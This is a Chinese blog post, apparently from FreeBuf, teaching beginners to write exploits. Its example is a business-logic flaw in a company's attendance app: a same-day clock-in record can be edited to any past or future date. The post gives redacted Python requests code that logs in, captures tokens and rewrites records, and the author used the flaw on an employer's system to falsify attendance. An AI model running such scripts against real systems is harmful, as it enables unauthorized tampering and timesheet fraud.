经常有一部分初入安全门槛的同学们会对编写exp和poc之类问题或无从下手,这次来分享一个简单实用的exp编写流程。
具体的poc和exp的区别自行百度,主要讲方法。
业务背景
这个业务逻辑是当时初入安全行业,为了方便打卡,编写的一个绕过打卡限制的exp,当时公司自己开发的一套oa系统,打卡的规定是,只能打当天的和补打前一天的,所以在很多次忘记打卡,提交了很多补打申请后,我决定找一找其中的业务逻辑,顺便写个补打exp。
漏洞发现
首先我们需要对系统的报文和接口进行分析,使用burpsuite抓包分析。
该系统对公司内网和外网app开放的是不同的两套打卡接口,由于外网对网络要求比较低,所以我决定通过外网接口进行分析。
通过Wifi将手机和电脑连接于同一网络下,如果app采用https传输协议,可以通过手机打开 http://burp导入burpsuite的证书挂代理进行抓包。
首先我判断这个app只对前端进行了限制,尝试了直接更改打卡报文中的日期进行补打,但并没有成功。
那么第一个业务环节,增加数据环节是不可更改的。
接下来进行第二个业务环节,修改数据是不是可以实现呢,由于在应用层面,更改打卡信息同样只能在当天和前一天执行。
所以我抓取了当天的已打卡的数据,并重新提交,提交时将打卡日期更改为前几天的日期,提交成功!
至此,在寻找业务逻辑漏洞的这个阶段,基本完成。
在这个阶段,如果有明确的功能需求,只需要依次验证这个功能的增删改查是否有严格验证,就可以了。
准备环节
在编写exp时,个人比较倾向于使用python,没有什么原因,写着顺手,如果有自己擅长的语言,其实没什么限制,所以这次主要以python3作为例子。
一般使用的比较多的模块有,requests、sys、json、time、datetime、urllib3、re。
requests和urllib3主要的作用是建立http相关的连接和报文处理;sys一般会用在调用系统命令相关的环节;json会使用在需要传输数据或处理数据格式的环节;time和datetime会用在对时间认证的环节上;re会用在数据的筛选和过滤环节。
而编写的方式,主要有面向对象和面向过程两种。面向对象我习惯用于逻辑处理复杂的情况下,或需要批量处理,多线程处理。而面向过程的exp更倾向于过程简单,需要快速复现利用的环境。
编写exp
业务逻辑类漏洞,或自动化的exp最重要的一个环节是自动化登录获取令牌,所以首先要做的是获取相关的令牌,之后才有资格做接下来的操作。
首先,我们通过burpsuite挂代理,执行一次登录操作,查看history中的request和response的关联,再将修改打卡的报文流程加入其中,就是一个业务逻辑的exp利用流程。
通过关联可以得到以下流程:
1、第一个报文调用登录接口,获取令牌Authentication_Token和票据Authentication_TGT
# 接口 get_token_url = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/1' # 报文头 get_token_hraders = { ...} # 传输数据用户名和密码 get_token_Date = {"appCode": "XXXXXXXXXXXXXX", "domain": "domain","password": self.passWord,"userName": self.userName} # 获取响应 get_token_r = requests.post(get_token_url, json=get_token_Date, headers=get_token_hraders) # 赋值准备被调用 get_token_response_dict = get_token_r.json() # 获取TGT和token self.Authentication_Token = get_token_response_dict['Authentication_Token'] self.Authentication_TGT = get_token_response_dict['Authentication_TGT']
2、第二个报文调用已经获取的令牌Authentication_Token和票据Authentication_TGT和已有的用户名密码得到self.staff_token,至此,登陆环节完成。
# 接口 login_url = '//XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/2' login_headers = { ... 'Authentication-Token': self.Authentication_Token, 'Authentication-TGT': self.Authentication_TGT, ... } login_Date = {..."password": self.passWord, "userName": self.userName} login_r = requests.post(login_url, json=login_Date, headers=login_headers) login_response_dict = login_r.json() # 获取staff_token self.staff_token = login_response_dict['data']['staff_token']
3、接下来需要做的是打卡当天的数据,提交员工号和时间数据,报文头中包含Token、TGT、staff_token,确认身份以及行为。
self.id = id #员工号 self.start_id = start_id #开始工作时间 self.end_id = end_id #结束工作时间 change_url1 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/3='+str(self.id)+'&start='+str(self.start_id)+'&end='+str(self.end_id) change_headers1 = { ... 'Authentication-Token': self.Authentication_Token, 'mis-staff-token': self.staff_token, 'Authentication-TGT': self.Authentication_TGT, ... }
4、确认身份后,开始当天提交打卡数据,打卡成功后,就可以获取相对应的event_id
self.new_date = new_date #打卡日期 self.new_discription = new_discription #工作内容描述 self.new_hours = new_hours #工作时长 change_url2 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/4' change_headers2 = { ... 'Authentication-Token': self.Authentication_Token, 'mis-staff-token': self.staff_token, 'Authentication-TGT': self.Authentication_TGT, ... } # 提交打卡数据 change2_Date =[{ "date": self.new_date,"description": self.new_discription, "hours": self.new_hours, "staffId":self.id,}] change2_r = requests.post(change_url2, json=change2_Date, headers=change_headers2) change2_response_dict = change2_r.json() # 这里要获取一个事件ID作为本次打卡的标志,在更改数据的时候调用本次事件 self.event_id = int(change2_response_dict['xxxx'][x]['id'])
5、修改打卡数据,调用已经完成的当天日期打卡数据的event_id,并修改日期即可绕过日期限制,对任意时间进行打卡,甚至是未来的工时。
self.new_date = new_date #需要更新的目标日期 self.new_discription = new_discription #需要更新的目标日期描述 self.new_hours = new_hours #需要更新的目标日期工作时长 change_url4 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/5' change_headers4 = { ... 'Authentication-Token': self.Authentication_Token, 'mis-staff-token': self.mis_staff_token, 'Authentication-TGT': self.Authentication_TGT, ... } change4_Date =[{"date":self.new_date,"description":self.new_discription,"hours":self.new_hours,"id":int(self.event_id),"staffId":self.id,}]
写好整个流程的接口后,即可对相关书数据进行处理,比如在这次的exp中,就需要规范时间格式,所以又写了一个时间处理的方法。
date1 = date+' 08:00:00' timeArray = datetime.datetime.strptime(date1, "%Y-%m-%d %H:%M:%S") timeStamp = int(round(time.mktime(time.strptime(str(timeArray), "%Y-%m-%d %H:%M:%S")) * XXXXX)) return timeStamp
将以上每个流程都写成打卡类中的对应方法,方便之后对每个接口进行系统的调用。
最后,就是对整个流程的函数进行整合,可以写成批量打卡,也可以写成定时任务,都可以比较简单的完成。
来源:freebuf.com 2021-06-01 16:34:44 by: Laon2333
请登录后发表评论
注册